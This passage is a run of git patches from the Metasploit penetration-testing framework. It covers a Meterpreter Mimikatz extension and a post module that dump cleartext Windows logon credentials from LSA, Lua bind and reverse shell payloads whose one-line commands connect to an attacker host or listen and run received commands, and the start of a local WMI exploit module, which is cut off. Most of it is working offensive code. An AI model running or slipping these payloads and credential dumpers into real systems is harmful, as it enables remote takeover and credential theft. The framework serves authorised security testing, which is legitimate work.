kerberos + result = send_custom_command('sekurlsa::kerberos') + return parse_creds_result(result) + end end end; end; end; end; end From 26b8364dcb1696e18c1dbcf26ae9af5bddaf6da5 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:44:21 -0500 Subject: [PATCH 009/152] Retab changes for PR #1789 --- .../extensions/mimikatz/mimikatz.rb | 166 ++++++------ .../ui/console/command_dispatcher/mimikatz.rb | 256 +++++++++--------- .../post/windows/gather/credentials/sso.rb | 224 +++++++-------- 3 files changed, 323 insertions(+), 323 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index 4c35f848f4..33d24a2689 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -22,100 +22,100 @@ module Mimikatz class Mimikatz < Extension - def initialize(client) - super(client, 'mimikatz') + def initialize(client) + super(client, 'mimikatz') - client.register_extension_aliases( - [ - { - 'name' => 'mimikatz', - 'ext' => self - }, - ]) - end + client.register_extension_aliases( + [ + { + 'name' => 'mimikatz', + 'ext' => self + }, + ]) + end - def send_custom_command_raw(function, args=[]) - request = Packet.create_request('mimikatz_custom_command') - request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) - args.each do |a| - request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) - end - response = client.send_request(request) - return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT) - end + def send_custom_command_raw(function, args=[]) + request = Packet.create_request('mimikatz_custom_command') + request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) + args.each do |a| + request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) + end + response = client.send_request(request) + return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT) + end - def send_custom_command(function, args=[]) - return Rex::Text.to_ascii(send_custom_command_raw(function, args)) - end + def send_custom_command(function, args=[]) + return Rex::Text.to_ascii(send_custom_command_raw(function, args)) + end - def parse_creds_result(result) - details = CSV.parse(result) - accounts = [] - details.each do |acc| - account = { - :authid => acc[0], - :package => acc[1], - :user => acc[2], - :domain => acc[3], - :password => acc[4] - } - accounts << account - end - return accounts - end + def parse_creds_result(result) + details = CSV.parse(result) + accounts = [] + details.each do |acc| + account = { + :authid => acc[0], + :package => acc[1], + :user => acc[2], + :domain => acc[3], + :password => acc[4] + } + accounts << account + end + return accounts + end - def parse_ssp_result(result) - details = CSV.parse(result) - accounts = [] - details.each do |acc| - ssps = acc[4].split(' }') - ssps.each do |ssp| - s_acc = ssp.split(' ; ') - user = s_acc[0].split('{ ')[1] - account = { - :authid => acc[0], - :package => acc[1], - :user => user, - :domain => s_acc[1], - :password => s_acc[2], - :orig_user => acc[2], - :orig_domain => acc[3] - } - accounts << account - end - end - return accounts - end + def parse_ssp_result(result) + details = CSV.parse(result) + accounts = [] + details.each do |acc| + ssps = acc[4].split(' }') + ssps.each do |ssp| + s_acc = ssp.split(' ; ') + user = s_acc[0].split('{ ')[1] + account = { + :authid => acc[0], + :package => acc[1], + :user => user, + :domain => s_acc[1], + :password => s_acc[2], + :orig_user => acc[2], + :orig_domain => acc[3] + } + accounts << account + end + end + return accounts + end - def wdigest - result = send_custom_command('sekurlsa::wdigest') - return parse_creds_result(result) - end + def wdigest + result = send_custom_command('sekurlsa::wdigest') + return parse_creds_result(result) + end - def msv - result = send_custom_command('sekurlsa::msv') - return parse_creds_result(result) - end + def msv + result = send_custom_command('sekurlsa::msv') + return parse_creds_result(result) + end - def livessp - result = send_custom_command('sekurlsa::livessp') - return parse_creds_result(result) - end + def livessp + result = send_custom_command('sekurlsa::livessp') + return parse_creds_result(result) + end - def ssp - result = send_custom_command('sekurlsa::ssp') - return parse_ssp_result(result) - end + def ssp + result = send_custom_command('sekurlsa::ssp') + return parse_ssp_result(result) + end - def tspkg - result = send_custom_command('sekurlsa::tspkg') - return parse_creds_result(result) - end + def tspkg + result = send_custom_command('sekurlsa::tspkg') + return parse_creds_result(result) + end - def kerberos - result = send_custom_command('sekurlsa::kerberos') - return parse_creds_result(result) - end + def kerberos + result = send_custom_command('sekurlsa::kerberos') + return parse_creds_result(result) + end end end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index 53d3f4604b..750a2fc2b6 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -17,159 +17,159 @@ module Ui ### class Console::CommandDispatcher::Mimikatz - Klass = Console::CommandDispatcher::Mimikatz + Klass = Console::CommandDispatcher::Mimikatz - include Console::CommandDispatcher + include Console::CommandDispatcher - # - # Initializes an instance of the priv command interaction. - # - def initialize(shell) - super - end + # + # Initializes an instance of the priv command interaction. + # + def initialize(shell) + super + end - # - # List of supported commands. - # - def commands - { - "mimikatz_command" => "Run a custom commannd", - "wdigest" => "Attempt to retrieve wdigest creds", - "msv" => "Attempt to retrieve msv creds (hashes)", - "livessp" => "Attempt to retrieve livessp creds", - "ssp" => "Attempt to retrieve ssp creds", - "tspkg" => "Attempt to retrieve tspkg creds", - "kerberos" => "Attempt to retrieve kerberos creds" - } - end + # + # List of supported commands. + # + def commands + { + "mimikatz_command" => "Run a custom commannd", + "wdigest" => "Attempt to retrieve wdigest creds", + "msv" => "Attempt to retrieve msv creds (hashes)", + "livessp" => "Attempt to retrieve livessp creds", + "ssp" => "Attempt to retrieve ssp creds", + "tspkg" => "Attempt to retrieve tspkg creds", + "kerberos" => "Attempt to retrieve kerberos creds" + } + end - @@command_opts = Rex::Parser::Arguments.new( - "-f" => [true, "The function to pass to the command."], - "-a" => [true, "The arguments to pass to the command."], - "-h" => [false, "Help menu."] - ) + @@command_opts = Rex::Parser::Arguments.new( + "-f" => [true, "The function to pass to the command."], + "-a" => [true, "The arguments to pass to the command."], + "-h" => [false, "Help menu."] + ) - def cmd_mimikatz_command(*args) - if (args.length == 0) - args.unshift("-h") - end + def cmd_mimikatz_command(*args) + if (args.length == 0) + args.unshift("-h") + end - cmd_args = nil - cmd_func = nil - arguments = [] + cmd_args = nil + cmd_func = nil + arguments = [] - @@command_opts.parse(args) { |opt, idx, val| - case opt - when "-a" - cmd_args = val - when "-f" - cmd_func = val - when "-h" - print( - "Usage: mimikatz_command -f func -a args\n\n" + - "Executes a mimikatz command on the remote machine.\n" + - "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + - @@command_opts.usage) - return true - end - } + @@command_opts.parse(args) { |opt, idx, val| + case opt + when "-a" + cmd_args = val + when "-f" + cmd_func = val + when "-h" + print( + "Usage: mimikatz_command -f func -a args\n\n" + + "Executes a mimikatz command on the remote machine.\n" + + "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + + @@command_opts.usage) + return true + end + } - unless cmd_func - print_error("You must specify a function with -f") - return true - end + unless cmd_func + print_error("You must specify a function with -f") + return true + end - if cmd_args - arguments = cmd_args.split(" ") - end + if cmd_args + arguments = cmd_args.split(" ") + end - print client.mimikatz.send_custom_command(cmd_func, arguments) - print_line - end + print client.mimikatz.send_custom_command(cmd_func, arguments) + print_line + end - def mimikatz_request(provider, method) - get_privs - print_status("Retrieving #{provider} credentials") - accounts = method.call + def mimikatz_request(provider, method) + get_privs + print_status("Retrieving #{provider} credentials") + accounts = method.call - table = Rex::Ui::Text::Table.new( - 'Header' => "#{provider} credentials", - 'Indent' => 0, - 'SortIndex' => 4, - 'Columns' => - [ - 'AuthID', 'Package', 'Domain', 'User', 'Password' - ] - ) + table = Rex::Ui::Text::Table.new( + 'Header' => "#{provider} credentials", + 'Indent' => 0, + 'SortIndex' => 4, + 'Columns' => + [ + 'AuthID', 'Package', 'Domain', 'User', 'Password' + ] + ) - accounts.each do |acc| - table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")] - end + accounts.each do |acc| + table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")] + end - print_line table.to_s + print_line table.to_s - return true - end + return true + end - def cmd_wdigest(*args) - method = Proc.new { client.mimikatz.wdigest } - mimikatz_request("wdigest", method) - end + def cmd_wdigest(*args) + method = Proc.new { client.mimikatz.wdigest } + mimikatz_request("wdigest", method) + end - def cmd_msv(*args) - method = Proc.new { client.mimikatz.msv } - mimikatz_request("msv", method) - end + def cmd_msv(*args) + method = Proc.new { client.mimikatz.msv } + mimikatz_request("msv", method) + end - def cmd_livessp(*args) - method = Proc.new { client.mimikatz.livessp } - mimikatz_request("livessp", method) - end + def cmd_livessp(*args) + method = Proc.new { client.mimikatz.livessp } + mimikatz_request("livessp", method) + end - def cmd_ssp(*args) - method = Proc.new { client.mimikatz.ssp } - mimikatz_request("ssp", method) - end + def cmd_ssp(*args) + method = Proc.new { client.mimikatz.ssp } + mimikatz_request("ssp", method) + end - def cmd_tspkg(*args) - method = Proc.new { client.mimikatz.tspkg } - mimikatz_request("tspkg", method) - end + def cmd_tspkg(*args) + method = Proc.new { client.mimikatz.tspkg } + mimikatz_request("tspkg", method) + end - def cmd_kerberos(*args) - method = Proc.new { client.mimikatz.kerberos } - mimikatz_request("kerberos", method) - end + def cmd_kerberos(*args) + method = Proc.new { client.mimikatz.kerberos } + mimikatz_request("kerberos", method) + end - def get_privs - unless system_check - print_status("Attempting to getprivs") - privs = client.sys.config.getprivs - unless privs.include? "SeDebugPrivilege" - print_warning("Did not get SeDebugPrivilege") - else - print_good("Got SeDebugPrivilege") - end - else - print_good("Running as SYSTEM") - end - end + def get_privs + unless system_check + print_status("Attempting to getprivs") + privs = client.sys.config.getprivs + unless privs.include? "SeDebugPrivilege" + print_warning("Did not get SeDebugPrivilege") + else + print_good("Got SeDebugPrivilege") + end + else + print_good("Running as SYSTEM") + end + end - def system_check - unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") - print_warning("Not currently running as SYSTEM") - return false - end + def system_check + unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") + print_warning("Not currently running as SYSTEM") + return false + end - return true - end + return true + end - # - # Name for this dispatcher - # - def name - "Mimikatz" - end + # + # Name for this dispatcher + # + def name + "Mimikatz" + end end end diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index b1430aae2e..fa2ec0c676 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -10,134 +10,134 @@ require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Auxiliary::Report + include Msf::Post::Windows::Priv + include Msf::Auxiliary::Report - def initialize(info={}) - super( update_info(info, - 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', - 'Description' => %q{ - This module will collect cleartext Single Sign On credentials from the Local - Security Authority using the Mimikatz extension. Blank passwords will not be stored - in the database. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Ben Campbell '], - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter' ] - )) - end + def initialize(info={}) + super( update_info(info, + 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', + 'Description' => %q{ + This module will collect cleartext Single Sign On credentials from the Local + Security Authority using the Mimikatz extension. Blank passwords will not be stored + in the database. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Ben Campbell '], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter' ] + )) + end - def run - if sysinfo.nil? - print_error("This module is only available in a windows meterpreter session.") - return - end + def run + if sysinfo.nil? + print_error("This module is only available in a windows meterpreter session.") + return + end - print_status("Running module against #{sysinfo['Computer']}") + print_status("Running module against #{sysinfo['Computer']}") - if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) - print_error("x64 platform requires x64 meterpreter and mimikatz extension") - return - end + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + print_error("x64 platform requires x64 meterpreter and mimikatz extension") + return + end - unless client.mimikatz - vprint_status("Loading mimikatz extension...") - begin - client.core.use("mimikatz") - rescue Errno::ENOENT - print_error("This module is only available in a windows meterpreter session.") - return - end - end + unless client.mimikatz + vprint_status("Loading mimikatz extension...") + begin + client.core.use("mimikatz") + rescue Errno::ENOENT + print_error("This module is only available in a windows meterpreter session.") + return + end + end - unless is_system? - vprint_warning("Not running as SYSTEM") - debug = client.mimikatz.send_custom_command("privilege::debug") - if debug =~ /Not all privileges or groups referenced are assigned to the caller/ - print_error("Unable to get Debug privilege") - return - else - vprint_status("Retrieved Debug privilege") - end - end + unless is_system? + vprint_warning("Not running as SYSTEM") + debug = client.mimikatz.send_custom_command("privilege::debug") + if debug =~ /Not all privileges or groups referenced are assigned to the caller/ + print_error("Unable to get Debug privilege") + return + else + vprint_status("Retrieved Debug privilege") + end + end - vprint_status("Retrieving WDigest") - res = client.mimikatz.wdigest - vprint_status("Retrieving Tspkg") - res.concat client.mimikatz.tspkg - vprint_status("Retrieving Kerberos") - res.concat client.mimikatz.kerberos - vprint_status("Retrieving SSP") - res.concat client.mimikatz.ssp - vprint_status("Retrieving LiveSSP") - livessp = client.mimikatz.livessp - unless livessp.first[:password] =~ /livessp KO/ - res.concat client.mimikatz.livessp - else - vprint_error("LiveSSP credentials not present") - end + vprint_status("Retrieving WDigest") + res = client.mimikatz.wdigest + vprint_status("Retrieving Tspkg") + res.concat client.mimikatz.tspkg + vprint_status("Retrieving Kerberos") + res.concat client.mimikatz.kerberos + vprint_status("Retrieving SSP") + res.concat client.mimikatz.ssp + vprint_status("Retrieving LiveSSP") + livessp = client.mimikatz.livessp + unless livessp.first[:password] =~ /livessp KO/ + res.concat client.mimikatz.livessp + else + vprint_error("LiveSSP credentials not present") + end - table = Rex::Ui::Text::Table.new( - 'Header' => "Windows SSO Credentials", - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => - [ - 'AuthID', 'Package', 'Domain', 'User', 'Password' - ] - ) + table = Rex::Ui::Text::Table.new( + 'Header' => "Windows SSO Credentials", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => + [ + 'AuthID', 'Package', 'Domain', 'User', 'Password' + ] + ) - unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values + unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values - unique_results.each do |result| - next if is_system_user? result[:user] - table << [result[:authid], result[:package], result[:domain], result[:user], result[:password]] - report_creds(result[:domain], result[:user], result[:password]) - end + unique_results.each do |result| + next if is_system_user? result[:user] + table << [result[:authid], result[:package], result[:domain], result[:user], result[:password]] + report_creds(result[:domain], result[:user], result[:password]) + end - print_line table.to_s - end + print_line table.to_s + end - def report_creds(domain, user, pass) - return if (user.empty? or pass.empty?) + def report_creds(domain, user, pass) + return if (user.empty? or pass.empty?) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end + if session.db_record + source_id = session.db_record.id + else + source_id = nil + end - report_auth_info( - :host => session.session_host, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => "#{domain}\\#{user}", - :pass => pass - ) - end + report_auth_info( + :host => session.session_host, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => source_id, + :source_type => "exploit", + :user => "#{domain}\\#{user}", + :pass => pass + ) + end - def is_system_user?(user) - system_users = [ - /^$/, - /^DWM-\d$/, - /^ASPNET$/, - /^ASP\.NET V2\.0 Integrated$/, - /^ANONYMOUS LOGON$/, - /^IUSR.*/, - /^IWAM.*/, - /^IIS_WPG$/, - /.*\$$/, - /^LOCAL SERVICE$/, - /^NETWORK SERVICE$/, - /^LOCAL SYSTEM$/ - ] + def is_system_user?(user) + system_users = [ + /^$/, + /^DWM-\d$/, + /^ASPNET$/, + /^ASP\.NET V2\.0 Integrated$/, + /^ANONYMOUS LOGON$/, + /^IUSR.*/, + /^IWAM.*/, + /^IIS_WPG$/, + /.*\$$/, + /^LOCAL SERVICE$/, + /^NETWORK SERVICE$/, + /^LOCAL SYSTEM$/ + ] - return system_users.find{|r| user.match(r)} - end + return system_users.find{|r| user.match(r)} + end end From 79e08c1560aaf91247774cf7c6b0f0c6728bc246 Mon Sep 17 00:00:00 2001 From: xistence Date: Mon, 16 Sep 2013 17:02:08 +0700 Subject: [PATCH 010/152] added LUA bind/reverse shells --- modules/payloads/singles/cmd/unix/bind_lua.rb | 56 +++++++++++++++++++ .../payloads/singles/cmd/unix/reverse_lua.rb | 56 +++++++++++++++++++ .../payloads/singles/cmd/windows/bind_lua.rb | 56 +++++++++++++++++++ .../singles/cmd/windows/reverse_lua.rb | 56 +++++++++++++++++++ 4 files changed, 224 insertions(+) create mode 100644 modules/payloads/singles/cmd/unix/bind_lua.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_lua.rb create mode 100644 modules/payloads/singles/cmd/windows/bind_lua.rb create mode 100644 modules/payloads/singles/cmd/windows/reverse_lua.rb diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb new file mode 100644 index 0000000000..46b8ffa340 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit4 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind TCP (via LUA)', + 'Description' => 'Listen for a connection and spawn a command shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do c:send('shell> ');local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\"" + end + +end + diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb new file mode 100644 index 0000000000..be3f742c40 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (via LUA)', + 'Description' => 'Creates an interactive shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do t:send('shell> ');local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\"" + end + +end + diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb new file mode 100644 index 0000000000..83f22d9352 --- /dev/null +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit4 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Bind TCP (via LUA)', + 'Description' => 'Listen for a connection and spawn a command shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do c:send('shell> ');local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\"" + end + +end + diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb new file mode 100644 index 0000000000..5992615afc --- /dev/null +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Reverse TCP (via LUA)', + 'Description' => 'Creates an interactive shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do t:send('shell> ');local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\"" + end + +end + From a00f3d8b8e6a97a431bc17bc6429361a827255f1 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 20 Sep 2013 13:40:28 +0100 Subject: [PATCH 011/152] initial --- lib/msf/core/exploit/powershell.rb | 4 +- modules/exploits/windows/local/wmis.rb | 80 ++++++++++++++++++++++++++ 2 files changed, 82 insertions(+), 2 deletions(-) create mode 100644 modules/exploits/windows/local/wmis.rb diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index e5bdf69cc3..096348098d 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -116,7 +116,7 @@ module Exploit::Powershell ps_wrapper = <